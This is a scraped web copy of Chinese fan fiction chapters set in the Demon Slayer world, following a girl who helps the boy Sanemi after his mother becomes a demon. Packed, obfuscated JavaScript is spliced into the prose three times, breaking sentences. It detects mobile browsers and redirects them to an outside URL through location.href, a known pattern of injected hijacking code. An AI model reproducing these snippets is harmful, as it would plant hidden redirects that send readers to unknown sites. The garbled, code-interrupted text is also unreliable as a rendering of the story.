寿奶奶说,唯有一只鬼的血液能使人变成鬼,那就是鬼王。 她感应到了鬼王。 若不是恰好撞见这位刚变成鬼的妇人,他们方才就会碰上了。 听完藤花月咲的解释,少年也逐渐冷静下来,“……我妈妈晚上会去火车站做清扫工作,但今天迟了很久都没回来,我就出来找,然后……” 接下来的事两人都知道了。 “抱歉,没能及时制止这件事,”藤花月咲不知道该怎么安慰少年,两人又沉默良久,她开口,“我会通知队里……” 话说到一半就被打断,“不可能!我不会让你们带走我妈妈,我妈妈没有吃过人!可鬼杀队都是猎鬼人,你们才不会管我妈妈有没有伤害过人,只知道她是鬼,就要被杀掉!” 说少年的妈妈没吃过人,这是实话。因为刚变完鬼就接连碰上藤花月咲和少年,压根没时间吃人,看嘴边和衣服都很干净,没有血迹,只有耳朵后面有一道抓痕。 藤花月咲猜测鬼王就是通过这道抓痕把血液输送给人类的。 而这位妇人目前为止造成的最大伤害,就是给她儿子的那一爪子,到现在伤口还在渗血。 呃,以及互殴后给藤花月咲弄出来的伤口,都是不严重的小擦伤,但令她看起来灰头土脸的,十分狼狈。 她觉得造成的心理阴影比身上的伤还大。 11. 第十一章 藤花月咲想站起来说话,那样看起来会更有气势,可惜两腿发软,半点力气也没有,只能双手撑地坐直一些。 “不好意思,我想问一下你家里有几间屋子?”她问。 少年愣了愣,低下头:“……一间。”白天当作起居室,晚上把被褥一铺就是卧室,全家都在一间屋子睡觉。 “家里还有其他人吗?” “还有……弟弟妹妹,老爸死了。” “唔,你妈妈变成了鬼,那么如今家里能外出挣钱的劳动力只剩下了你一个,”藤花月咲分析,“你是想让弟弟妹妹从早到晚都跟食人鬼共处一室吗?” 少年抱着妈妈的手臂一紧,“我妈妈不会吃人……” “是还没有吃人,”她在“还”字上加重音,让自己表情尽量冷酷,“你知道么,人变成鬼是一个痛苦且消耗巨大的过程,刚完成变化的鬼会迫切吃人来补充能量,比普通的鬼更有攻击性。而陷入极度饥饿状态的鬼,就算是亲生孩子也会杀死吃掉,因为营养价值很高。” 说完这段话,藤花月咲自己都感到生理性不适,但仍然接着说:“我知道你的想法,你想把你妈妈藏起来不让她见人,或许连弟弟妹妹都瞒着,甚至,你甘愿用自己的血肉去反哺她。可是你无法保证会发生什么,控制一只鬼不让她伤人,我认为比杀鬼还要困难很多很多。” 见少年沉默不语,她狠下心,报了一个方向,“你家应该是在这一片对吧?” “你怎么知道……”少年猛然明白了什么,即使是深夜也能察觉他一下脸色煞白。 “你妈妈两次被我拦截,逃脱后都是朝着你家的方向去,”藤花月咲暗自叹气,喉头一哽,“你必须承认,今晚若不是我们,你妈妈大概……” 这个她真说不出口,妈妈变鬼对少年的打击已经很大了,却还要面对血淋淋的事实,完全是在心口扎了一刀又一刀。 死寂的氛围太过令人窒息,藤花月咲转移话题,轻声道:“你妈妈一定是个很勤劳的人。” 才会大晚上出来工作,努力支撑家庭。 “……她白天要帮别人缝补清洗衣服,晚上要去打扫火车站,”少年抑制不住地流泪,无声无息,带上了沙哑的哭腔,“她明明个子那么小,连我都比她高了,却每天都非常辛苦……为什么、为什么?!” 他无能为力,不知道该控诉、指责谁,还不能哭得太大声引来警察和附近居民,狠狠咬住自己的拳头,口中瞬间充斥着血腥味。 “我想说,你妈妈是那么温柔的一个人,如果真的失去理智造成无法弥补的后果,等她清醒后能够接受吗?还能过上正常的生活吗?”藤花月咲明白的,善良的人总是不断审判自己,时刻备受煎熬,“只要她吃了一个人,就无法挽回了!” 半晌。 “……我妈妈还能过上正常的生活吗?”少年像是在喃喃自语,“我妈妈还能变回人吗?” “虽然现在还没法实现,但在未来的某一天一定可以的!”藤花月咲鼓励他,“你看啊,鬼既不会生病也不会老死,就算我们变成了老爷爷老奶奶,你妈妈还能继续等下去,总会有办法的!” 这另类的安慰听得少年一怔,但貌似又挺有道理,他犹豫片刻,“……我该怎么做?” 见他终于松口,藤花月咲长长地舒了一口气,“如果你相信我,我会给鬼杀队的主公写信,并且作证你妈妈还没有伤人,不该随意处决。主公会给出一个合适的解决方法的,有时候光凭自己无法解决一件事,也要适当地依靠大人才行。” 还是小孩子,独自背负那么多也太惨了。 少年:“你这么信任那个主公?” “当然!” 尽管过完年后她和主公也没信件来往,但藤花月咲就是有种莫名的信赖感,认为后者能做到很多事情。 由于她的表情太过明朗,少年迟疑后还是同意了。 藤花月咲伸出手:“达成一致?” 少年打量她伸来的手,不懂这是什么意思。 哦,握手似乎是西洋传来的礼节,这时候在平民之间还没那么流行。 藤花月咲改为抬起手臂,“一致?” 少年与她击掌,“嗯!” “好的,呃,首先我们要找一个没人会去的地方,暂时安置你妈妈,”藤花月咲扶着墙慢吞吞站起来,忽然想到一件事,“我的名字是藤花月咲,你叫什么?” “不死川实弥。” …… 不死川实弥对这一片十分了解,他背着小巧的妈妈在前面带路,避开警察的巡逻,藤花月咲紧跟在后,来到一间偏僻的茅草屋。 少年翻出钥匙,打开已经半坏了的锁,屋子里堆着一些工具,还有一辆推车。 “我平时会在街面上跑腿运货,这是店家的仓库,他把钥匙交给我,平时不会有人来的。” 角落里有半盏蜡烛,不死川实弥点了灯,总算有些许光线了,两人不至于摸黑商讨。 不死川夫人被放平在远离门窗的茅草堆上,用紫藤花香包捂住口鼻,又用绳子绑住手脚,保证她就算醒来也动不了。 “等会儿我回旅馆写信,虽然不知道主公宅邸在何处,但应该在东京范围内,快的话今天之内就能收到答复,”藤花月咲此刻才看清了对方的白发,跟锖兔一样是少见的发色,“问题是,你该怎么跟你弟弟妹妹说,要讲实话吗?” “不,”实弥摇摇头,“我不想让他们担惊受怕。” “好吧,那就需要想一个借口,让队员配合一下。” 两人嘀咕一阵,藤花月咲摇摇晃晃起身,“我先写信,等我回来你再去安弟弟妹妹的心。”轮流守着不死川夫人,以免有变故发生。 不死川实弥看着她披头散发、满脸灰尘、袖口撕裂甚至连鞋都没了的狼狈模样,突然有些羞愧。 “谢谢。”他说。 藤花月咲眨眨眼,看向他:“也谢谢你相信我。” …… 回到旅馆,藤花月咲敲了敲门,睡眼惺忪的老板娘来开门,看到她的样子顿时被吓醒了。 “您、您……您是被抢劫了吗?!”老板娘记挂着这位客人,怕伙计睡得太死听不到少女回来,所以亲自守夜。 可没想到出去前是个漂亮可爱的小仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897716|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,回来的时候差点认不出来! “咳,不小心摔到了坑里,”藤花月咲有点尴尬,讪笑道,“抱歉,借店里的灯笼弄丢了,可以扣押金。” “啊,那个不重要,您先去洗个澡换身衣服吧,我等会儿把热水送来。”老板娘去叫伙计烧水,问还有什么需要的。 藤花月咲借了纸笔,双手擦干净,把酝酿了一路的措词认真写下来。 写到一半,热水来了,她看看信纸又看看冒着热气的澡盆,决定先快速清洗一下。 对爱干净的人来说,她从有记忆开始就没这么脏过,已经忍了半天了! 全身整洁一新后,她用毛巾包住湿发,把剩下一半的信写完装进信封,推开房间窗户,吹了一声旋律特殊的口哨。 寂静的夜里,这声口哨格外悠长,传到了很远很远的地方。 不一会儿,一只体型很小的鎹鸦飞来,停在窗口,不看人,直勾勾地望向房间内桌子上的水果。 藤花月咲掰了一点苹果喂给它,把信封绑在鸟脚上,轻声说:“去吧,把信带给主公。” 鎹鸦飞走了,她看了下时间,冬天的夜晚很长,距离日出还有两小时左右。 她打了个迟来的哈欠,把剩下的苹果啃完,收拾一个小包袱,再向旅馆买了一双草鞋,在老板娘不解的眼神下又出门了。 返回茅草屋,不死川实弥远远听到脚步声就警惕地贴在门后,听到藤花月咲的声音才松开门把手,结果在看到对方时露出一脸“你谁”的表情。 藤花月咲:“……”不敢想她刚刚到底是有多脏。 “信送走了,你回去安抚弟弟妹妹吧,一晚上不见人,他们肯定担心坏了。”以前她熬夜复习后闷头大睡,她妹妹联系不上都是直接杀到她租的公寓里确认死活。 “好,我很快回来。” “不用太快,休息一下把伤口包扎好,”藤花月咲掏一掏包袱,递过去一个苹果,“我昨天买的,可脆可甜了。” 不死川实弥想拒绝,结果肚子非常不合时宜地响了起来。 他的脸唰一下爆红。 藤花月咲假装没听见,把苹果塞过去,找了一块干净的茅草坐下,蜡烛挪过来,用最舒服的姿势翻起了昨晚没看完的推理小说。 “……”不死川实弥揣着苹果,回头看了眼对方脚上与衣着不是一个风格的草鞋,关上了门。 这一去,直接到了天亮。 藤花月咲把推理小说一口气给看完了,伸了伸懒腰,活动一下脖子。 “哒哒哒。” 有细微的动静,像是有动物在啄门。 她悄悄把门开了一个缝,就见一只小鎹鸦从门缝挤了进来,抬腿亮出一封信。 诶?她才寄出信两三个小时吧?这就回信了?! 按照藤花月咲的预想,这种时间段寄出的信件,主公怎么也得起床后才会查阅。 可这速度,难不成是信一送到主公就看了? 她没有立刻拆开看,捏着信封时不时往外瞧。 等不死川实弥一回来,她连忙招手,“快来,主公回信了,我读给你听!” 12.第十二章 听到主公回信了,不死川实弥加快脚步进屋,挡在妈妈身前的位置坐下,确认一丝一缕的阳光都无法靠近。 随后从身侧腰带上解开用草绳绑住的什么东西,轻轻摆在藤花月咲脚边,“这个、是你的吧?” 是她追鬼时半路踢飞的小皮靴。 “啊,是的!”看着这双被擦拭过、连鞋底都干干净净的小皮靴,藤花月咲不由意外,“你是在哪里找到的?” 实弥别过脸:“就在你说你遇到我妈妈的巷子附近,挺好找的。如果等早上大家都起来干活了,一定会被捡走的。” 原来他之前提过一嘴问在哪里遇到的他妈妈,是为了这个。 藤花月咲换回小皮靴,顿时觉得双脚暖和多了,“谢谢!” 接着拆开主公的信件,不死川实弥只认识几个简单的常用字,便盯着信纸很用心地听着。 先是一句惯例的问候,然后感谢藤花月咲抓住了鬼王的踪迹,他会派遣队员前去调查,希望到时能够提供线索和帮助。 关于不死川夫人的事,他请两人放心,“刚变成鬼还没吃人就被发现”的例子,鬼杀队成立数百年来也碰到过几次,这是鬼王为了摆脱追兵常用的手段。 遇到这种情况,鬼杀队会派遣事后处理部队——隐过去处理,只要证实当晚确实没有发生鬼伤人事件,就会把不死川夫人带到一个隐蔽又安全的地方,确保她不会跑出来。 不死川实弥作为亲人可以定期前去看望,而由于被无辜卷入,产屋敷家会支援一笔钱作为他们接下来生活的资金。 这是每个遭受恶鬼袭击、承担无妄之灾的家庭都有的,请不要有所负担,非常抱歉没能及时阻止这件事的发生。 隐部队也会按照不死川实弥所期望的帮忙掩饰,不让他的弟弟妹妹知道真相。 “……若是仍有遗漏,请不要吝于联系,产屋敷一族恳切等候你们的来信。” 读完最后一句,藤花月咲看向不死川实弥:“这下能够放心了吗?” 白发少年转身望着昏迷的妈妈,握住她小小的、指甲锐利的手,冰冰凉凉的,“……嗯。” 藤花月咲把信塞到他怀里,后者疑惑地抬眉。 “等你哪天认识了足够多的字,就自己再读一遍吧。” 不死川实弥有些惊讶,随即更多的是不好意思——被她看出来了。 刚才她读信的时候,自己一直在心里默默对照信的字数和她读的字数,确保她说的就是信件的内容。 他真的很害怕主公写的其实根本不是这么一回事,是面前的少女为了安慰他而编织出的一个谎言。 见他把信小心地收好,藤花月咲问:“你弟弟妹妹怎么样了?” “嘛,姑且是都哄睡着了。” “你有几个弟弟妹妹呀?” “六个,两个妹妹,四个弟弟。” “好多!”藤花月咲那个时代已经很少见到这样的大家口了,但如今来看似乎也算寻常,“你有打算送他们去上学吗?” 想过,不死川实弥当然想过供弟弟妹妹去上学,只要能读书,未来随便找一个工作,都不会像这样辛苦地生活了。 以前是没有钱,现在…… 他抿抿唇,没有多说。 隐部队抵达得非常迅速,两人闲聊没一会儿就到了,包裹得严严实实的隐成员将不死川夫人抱进了一辆特制的推车当中。 这辆推车外型更像是一个有轮子的大木箱,可以盖上,硬木钉得很密,结实又不透光。 推车中放了几簇新鲜的紫藤花——明明不是花期,是从哪儿摘来的? 不过听锖兔说过,最终选拔的山上就是一年到头都盛开着紫藤花,或许这样的地方还有几处。 隐部队成员把紫藤花香包还给她,藤花月咲也不管上面沾了口水,仔细地重新在腰带上系紧。 经历过昨晚,她更深刻地认识到了这是个能保命的东西,如果不是香包给的底气,她肯定不敢第一时间就冲上去追鬼。 隐部队的人还需要调查一段时间,藤花月咲拉走不死川实弥:“陪我逛一逛?” “你要去哪里?” “跟我走就好了。” 藤花月咲晒着太阳,觉得昨晚造成的心理阴影都被驱散了,“你说自己平时会在街面上跑腿运货是么。” “有时候还帮忙算账,”不死川实弥走在她身后半步,回答,“我会打算盘。” “诶,很厉害啊,那你会打架吗?” “……老爸死掉前跟他掐过几次。” 感觉这对父子关系非常差的样子。 藤花月咲:“我没别的意思,就是觉得你昨晚打架还挺聪明的,不像是生手。” 像她,虽然练过空手道,可一碰上生死关头的实战就大脑一片空白,什么招数都想不起来,手忙脚乱的。 但不死川实弥昨晚第一次遇到鬼就能暂时打得不相上下,什么撒沙子、钉衣服,很……接地气,却也很管用。 他还自学了打算盘,要是能有机会去学校,一定是个成绩优秀的学生。 两人又走到京桥区的繁华地带,藤花月咲来到一家后世都有名的药局前停下,让不死川实弥在门口稍等,自己推门进去。 戴着眼镜的女药师在柜台后抬头:“欢迎光临,请问需要什么?” “我想买月经带。” 没错,昨晚逛街时藤花月咲就看到这家药局贴着售卖月经带的海报,可惜路过得太晚,药局已经打烊了。 被海报一提醒,她也想起来,自己变小后还没来过月经,可迟早是要来的。 不光她会来月经,寿奶奶会来,女队员也会来。 鬼杀队里女性的人数相比男性要少很多,但也是有的,她这半年同样招待过一些。 然而如今绝大部分女性,在月经期间用的都是自制的布条……不仅不那么卫生、吸水性差、手感粗糙,还容易掉落,穿上后不能有大幅度动作,非常麻烦。 如果有改良后的月经带,行动就方便多了。 女药师取出三款药局售卖的月经带,“有特等品、甲等品、乙等品三种。” 藤花月咲认真听对方一一介绍。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902280|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >怎么说呢,质量上肯定是特等品最好,胶皮和绒布都是进口的,手感好、不渗漏,用于固定的纯铜别针也不会生锈,能够用2到3年。 但好贵,125钱,能买两条乙等品了,寿奶奶给的经费加上她自己的存款都不够买几条。 乙等品最便宜,才55钱。可质量就、一般般吧,绒布摸起来不太透气,针脚也比较零散,感觉很容易撕扯破裂。采用的则是易生锈的铁别针,还不附带内衬棉片。 听到女药师说乙等品的使用寿命不足一年,藤花月咲就果断pass了。 最后折中选择了性价比最高的甲等品,85钱,质量还算不错,够用了。 又花50钱买了三两脱脂棉,回去后可以自制替换的棉片,清洗后晒干就能重复使用。 藤花月咲当然想用更加便捷、卫生的一次性卫生巾,但条件不允许啊! 等下回有女队员来,就把月经带推荐给她们。 把买的东西放进包袱里装好,藤花月咲推门出店,看到不死川实弥靠在墙边踢着小石子,“久等啦,我买完东西了。” “也没多久,”不死川实弥没问她买了什么,“还有要去的地方吗?” “接下来去你家。” “……?” 不死川实弥扭头,怀疑是不是自己耳朵听错了。 “没听错,就是去你家,”藤花月咲理直气壮,“不欢迎吗?” “我家没什么好看的。” “没事,我也不是为了看你家里长什么样才去的,”她耸耸肩,“总得有人出面跟你弟弟妹妹解释吧,否则光靠你一个人的说法,他们真的会信?” 隐部队的人不会暴露长相,所以正式出面还得她来。 不死川实弥无法反驳,只得带路。 路过一家店面较大的和果子店,藤花月咲把他拉进去挑选点心——第一次上别人家拜访总得带点东西才有礼貌嘛。 她挑了金团、红豆大福、茶馒头,看向边上的人,“有你喜欢的点心吗?” 不死川实弥扫了一眼,双手揣在宽袖里,“不用管我。” 藤花月咲往他扫的地方看了看,琢磨一下,“老板,还要两个萩饼,红豆和豆沙馅各拿一个。” 不死川实弥:“……” 让老板把买来的点心稍微包装一下,藤花月咲把纸盒递给少年,“你干嘛不好意思,小孩子爱吃甜的多正常啊。” 小孩子……! 可恶,在这家伙面前,不死川实弥总是莫名觉得长男的自尊摇摇欲坠。 他瞪着对方:“你多大?” 藤花月咲困惑,开口道:“唔,13岁。” 同龄么。 实弥顿了顿:“生日是几月?” “八月啊。” 他不说话了。 藤花月咲懂了,他的生日月份肯定比自己要晚。 有必要比年龄么,光是在这种地方较劲就已经显得很幼稚了啊! 她努力忍住笑意,推推对方的肩膀,“好了,快走吧,隐部队那边应该处理得差不多了。” 13.第十三章 两人买完东西回去,隐部队的确动作十分麻利,把所有事都安排好了。 一行人拉着推车走在街面上,等到了不死川家,不死川实弥就眼睁睁看着说话举止一直都很随意的藤花月咲瞬间换了个态度。 “恕我失礼了,”她脱掉小皮靴踏进屋子,在榻榻米正座,双手奉上点心盒子,姿态端庄,“初次见面,我是藤花月咲,家父在铁路管理局任职,听闻诸位家中并无大人,为避免冒犯,父亲便派我前来叨扰问候。” “令母夜间为火车站工作,工作期间忽然发病昏倒,送去医院后确诊是一种罕见的疾病,虽不会有生命危险,可会变得畏光且性情暴躁,不发病时久睡不醒。因为是在工作期间出的事,铁路管理局决定出资为她治疗,只是需要送往较远的疗养院进行康复观察。” “对此,我们深表歉意。”藤花月咲微微低头,递上由铁路管理局出具的证明——利用产屋敷一族的人脉批下来的,有正式批文和印章,哪怕拿去鉴定也只可能是真的。 她这一连串叠加的敬语和正式措辞,听得不死川家六个弟妹大眼瞪小眼,全都呆愣住了,一个个躲在第二大的哥哥身后探出小脑袋。 平民很难接触到上一阶级的人群,藤花月咲的穿着比较时新,相貌又清丽出众,成功把他们给唬住了。 最大的弟弟玄弥一手托着点心盒子,一手捏住纸质证明,无措地看向如今唯一的依靠,“哥哥……” 他们都不识字啊。 不死川实弥点点头,表示她说的是真的。 打扮成医务人员、戴着口罩的隐成员把推车扛上二楼,在屋内打开木盖,让孩子们看一看妈妈。 鬼沉睡的模样跟人其实没有太大区别,尖牙藏在了嘴巴里,爪子掩在宽袖下,又打理过衣服和头发,看起来面容祥和,恬静地睡着。 小孩子们围在妈妈身边,年纪小的那几个忍不住哭了,年纪大一点的也鼻头酸涩,玄弥探了探妈妈的鼻间,确认还有气息,这才抱着最小的弟弟就也低声安慰。 藤花月咲余光瞥向一旁,隐部队的人全都身体紧绷,握着拳站立难安,仿佛冷汗都要下来了。 他们害怕鬼突然醒来伤人。虽然紫藤花的香气能够抑制鬼的行动,可这儿有那么多人,气息太浓郁了,对鬼来说简直就是一顿补充能量的盛宴。 藤花月咲蹲下轻轻搂住小妹妹寿美,“抱歉,他们要赶最近一班的火车,时间快来不及了。如果不死川夫人清醒了,一定让她口述送信过来,好吗?” 寿美吸了吸鼻子,她有一双漂亮的大眼睛,此刻湿漉漉又通红,抬头望了过来,“那我们能去看妈妈么?” “会有机会的。” 重新把盖子合上,隐部队成员暗自大大松了一口气,“那么,我们先走一步了。” 几人拉着推车像是能飞起来,一眨眼就消失在了长街尽头。 小弟弟就也本来哭到不断打嗝,眼见这速度,打嗝都一下停了,伸着脖子,眼睛睁得大大的。 弟妹几个同时回头,藤花月咲被小朋友们注视着,镇定地轻咳一声,“他们在医院是负责急诊搬运病人的……非常专业!” 原来如此。 藤花月咲把盒子打开给他们分点心,忍不住揉了揉玄弥头顶的那一撮卷毛,后者害羞地朝她一笑。 她把萩饼递给不死川实弥:“你弟弟跟你长得好像。”毕竟是亲兄弟嘛。 实弥没回答,但能感觉出他听了这话很开心。 从不死川家告辞后,藤花月咲便进入一种漫无目的的状态。 目前无事可做了,可还要等主公派来的队员协助调查,不知道会不会是她见过的人。 她想了想,问不死川实弥:“这一片有质屋吗?” 她还是没放弃拥有一套针具,市面上没有流通的,那就只能在典当物品的质屋里找一找了。 “质屋?有啊。” 不死川实弥领着她来到一处河边,指向沿河密密麻麻的房屋,“这些都是。” 藤花月咲:“……” 不愧是东京最繁华的地带之一,周转资金的地方真多,这少说也有数十家吧! 她深呼吸。 没办法,一家家转吧。往好的方面想,质屋越多,找到针具的可能性就越大对吧。 不死川实弥觉得她人生地不熟的,尽管不知道她要找什么,也陪着一家家转。 就在两人快要转晕的时候,藤花月咲终于在一家质屋的样品箱里看到了一套毫针。 隔着样品箱看得不是太准确,但粗略一数,这套针具有15根毫针,各种型号尺寸都有,看材质也是上等钢针,表面没有破损。 她请店主把这套针具取出来,上手一摸,是中国进口的“唐针”,高极品,买来回去清洗消毒后就能用了。 “这套针多少钱?”她问。 店主低头看看她,又看看她身后的不死川实弥,报了一个价格,“3日元。” 藤花月咲面上不显,心里有点犯难。 说实话,3日元贵了。 哪怕她没见过其他售卖的针具,也清楚店主绝对报了高价,那个眼神一看就是奸商! 但她不太了解市场价格,该怎么还价呢。 “喂大叔,你未免报得太高了吧,”不死川实弥平时会帮商家算账,对这些东西的价格很清楚,“这东西既不是镀金也不是银质,钢针而已,3日元是不是太欺负人了。” 他的态度很强硬,店主一噎,不满被一个少年下了面子,嘴硬道:“哪里有欺负你们,整个东京都没几家有这样的东西,价格高一点很正常。” “少来!东西再少见也没人要,那个样品箱位置的商品起码流当有一年了,那么久都卖不出去,错过这家伙的话看你还等不等得到人再来买!” “……2日元90钱。” “啧,再少点。” 不死川实弥和店主陷入了激烈的讨价还价,藤花月咲默默站在一旁围观,提着钱袋准备付钱。 最终,这套毫针的价格被定在了1日元80钱,再附送一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907837|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个装针具的软包。 不死川实弥冲她使了个眼色,藤花月咲立刻无视店主漆黑如锅底的脸,上前付钱,提着针具满意地走了。 出了店门,她把东西收进小包袱,“你还挺靠谱的嘛。” 对方挑眉,“当然,我可是长男。” “是是是,长男先生……啊!”藤花月咲远远看到一只脖子上挂着佛珠的鎹鸦从河对岸飞来,“主公派来调查的人到了。” 她一瞧就知道这是谁的鎹鸦。 “悲鸣屿大人!”她肩膀上停着鎹鸦绝佳,小跑来向岩柱打招呼。 “不用叫我‘大人’,喊‘悲鸣屿先生’就可以了,”悲鸣屿行冥双手合十拨弄佛珠,“大概情况主公已告知于我,我想了解一下具体内容。” 藤花月咲把人带到昨晚的巷子,“我就是在这儿发现变成鬼的不死川夫人的。” 悲鸣屿行冥顺着她指的方向走进去,高大的身躯几乎占据了整个巷子,不时摸一摸地面和墙壁,半晌喃喃道:“确实,残余着些许鬼的气息……非常强大的鬼……” 他在巷子里探查时,不死川实弥被对方的体型震惊了,“鬼杀队里都是这样的人吗?” 藤花月咲:“唔,悲鸣屿先生应该是最强的吧……对了,还有跟你年纪差不多的队员,他们也很厉害呢,有的已经开始独立杀鬼,有的甚至自创了呼吸法、啊,呼吸法就是类似于杀鬼的流派招式。” 耳朵捕捉到“独立杀鬼”,实弥眼神闪了闪。 过了会儿,岩柱从巷子出来,两人又带他去凌晨搏斗的那条街,仔细讲述了制服不死川夫人的过程。 听到不死川实弥受伤流血后鬼的行动霎时间变得缓慢,悲鸣屿行冥神色变得更加凝重,让他们再复述一遍,不要漏掉任何细节。 “你应该是稀血,不死川少年,”他严肃道,“拥有稀血的人被鬼吃了后,能让鬼获得比吃普通人强几十倍甚至上百倍的力量……可就算是这样,我也从未听说过能令鬼宛如醉倒酩酊的稀血。” “那么,我就是稀血中的稀血了?” 不死川实弥突然觉得有种荒诞感,本来稀血就听着很扯了,他还用这样的血对付制服了给予他血肉身躯的妈妈。 真是……像一个笑话。 蓦地,一只宽厚的大手覆了下来,轻轻按在他的头顶。 悲鸣屿行冥双手揉了揉两人的脑袋,体型有点吓人,表情却很温和,“没有经过任何训练,却能够有勇气面对鬼,保护周围的人,自己也没受什么伤,还及时通知了大人……正确的判断,你们做得很好。” 两人作为长男长女,平时没什么撒娇的机会,乍一下被摸头夸赞,都有点脸热。 藤花月咲不太好意思地挠挠脸,“假如没有寿奶奶给的香包,我肯定一碰到鬼就没命了。” 悲鸣屿行冥似乎想到了什么,表情变得有些伤感。 “……那个!” 不死川实弥猛地抬头,双眼与岩柱对视,坚定道:“我想加入鬼杀队,可以吗?” 14.第十四章 听到他说想加入鬼杀队,悲鸣屿行冥一怔,“为什么……你可以不必做这么危险的事情,如果是放心不下你母亲……” “不,这不是要不要去做的问题,而是必须去做!” 不死川实弥垂下脸,攥紧拳头,“即便此刻还很弱小,可我不能推卸我的责任、将妈妈的未来全权交到别人手中。我会加入鬼杀队,找到把鬼变回人的办法!杀掉把我妈妈变成这副模样的那只鬼!” 他当然感谢鬼杀队能够庇护他妈妈,感谢主公支援他们兄弟姐妹七个接下来的生活。 但从今往后,他绝对要掌握自己命运的主动权,不再随波逐流、任凭摆布! “南无……”悲鸣屿行冥受到感触又开始淌泪,再次揉了揉少年的白发,“既然如此,我会联系附近的队员,过几天带你去找合适的培育师。” “多谢大叔!” 悲鸣屿行冥:“……” 藤花月咲眼见鬼杀队最强者的表情仿佛中了一箭,被小孩子话语暴击后默默仰天流泪,赶紧拉过不死川实弥,在他耳边低声说明岩柱的年龄。 “谢谢哥哥!”后者连忙改口,尽管已经来不及了。 “……无事。”他也该习惯了。 柱的工作都很繁忙,协助调查完毕后,悲鸣屿行冥便先行一步,趁着气息还没彻底消散,去追赶鬼王的踪迹了。 藤花月咲把最后一口苹果喂给鎹鸦绝佳,望着它扑扇羽翼飞走,转头问:“你加入鬼杀队了,弟弟妹妹怎么办?” “我打算送他们去上学,不论是读书还是学一门手艺,日后总能找到一份工作,比在街面上卖力气强。” 学费和房屋租金就暂且用主公支援的资金来支付,等他当上了正式队员,到时绝对全数返还。 “咳,你之前说正式队员有十个等级,有工资吗?”不死川实弥问了个很现实的问题,毕竟他还有一群弟弟妹妹要养活。 别人支援的钱,和自己付出劳动得来的报酬总归是不一样的。 藤花月咲回想一下,“最低的癸级似乎是每月20日元,依次增长,甲级每月能有100日元。” 癸级队员的收入略高于如今的工人平均工资,不算很多,足够一家子人基本的生活支出。甲级队员的收入,则跟企业高管、工程师、律师或医生这类高收入群体差不多了,完全能过上极其优渥且体面的生活。 不死川实弥快速在心里打着算盘算账,算出若是他能在一年之内升到己级就能把主公的钱全部还清,“刚才那位悲鸣屿先生也是甲级吗?” “不,悲鸣屿先生是比甲级更高的柱,”藤花月咲像当初寿奶奶教导一无所知的她一样给对方科普,“柱的话,想要多少钱都可以满足,来紫藤花之家还能点菜哦。” “我以后也会成为柱。” “那我就等着你哪天来点菜,虽然我现在还不太会做萩饼……”在她那个时代,萩饼已经是有点过时的老式点心了,基本只有上了岁数的老人会喜欢吃,所以她真没做过。 “那么,你就抓紧练习吧,”不死川实弥终于露出了一个符合他年龄的、灿烂的笑容,“我会很快当上柱的!” 藤花月咲回到旅馆,提上行李,去市区坐有轨电车。 才出门一天多,她却感觉过了很久很久,已经十分想念寿奶奶和紫藤花之家了。 不死川实弥和她告别,目送电车驶远,转身往家走。 刚走到家附近的街区,就看到弟弟玄弥赤脚跑过来。 “怎么光着脚就出来了,多冷啊。”话语的内容像是在抱怨,可语气很寻常,蹲下身用双手裹住弟弟沾满灰尘的小脚丫,冰凉凉的。 “草鞋断了,”不死川家每人只有一双鞋,没有替换的,其他弟弟妹妹的鞋子他穿不下,“哥哥一直不回来,我们都好担心你。” “担心什么,哥哥很快就回去了呀。” 把弟弟的脚丫捂热一点,实弥转身朝他露出后背,“上来吧。” 玄弥看着哥哥。他其实很想被哥哥背,可如今只有他和哥哥能一起支撑起这个家,怎么还能一直不长大只顾着撒娇。 “我很重的……” “我还不知道你有多重么,快上来。”不死川实弥催促道。 身后暖呼呼的重量压上来抱住脖子,他双臂圈住对方小腿,起身掂了掂。 明明就很轻嘛。 兄弟俩往家走去,玄弥脑袋埋在哥哥颈间,小声问:“哥哥,以后怎么办?” “不用怕,有哥哥在呢,”实弥抬头温柔地蹭了蹭弟弟的侧脸,“哥哥会保护你们的。” 玄弥纠正:“我们一起保护弟弟妹妹,还有妈妈。” 不死川实弥没说话。 他一步一步走得稳稳当当,背着在这世间的牵挂,走向远处的黄昏。 —— 晚上,辗转于各种交通工具间的藤花月咲终于回到了紫藤花之家。 听她说遇见了鬼,一向淡定的寿奶奶都受到了惊吓,时不时摸一摸她的手臂和后背,确认是否有受伤。 “多亏了寿奶奶缝的香包,鬼看到我跑得比兔子还快呢!”藤花月咲不想让老人家担心,自动省略掉了与鬼肉搏的部分。 再说,这也不是谎话啊。 她实在太累,自从坐上人力车后就开始昏昏欲睡,进到温暖的室内睡意就更浓了。 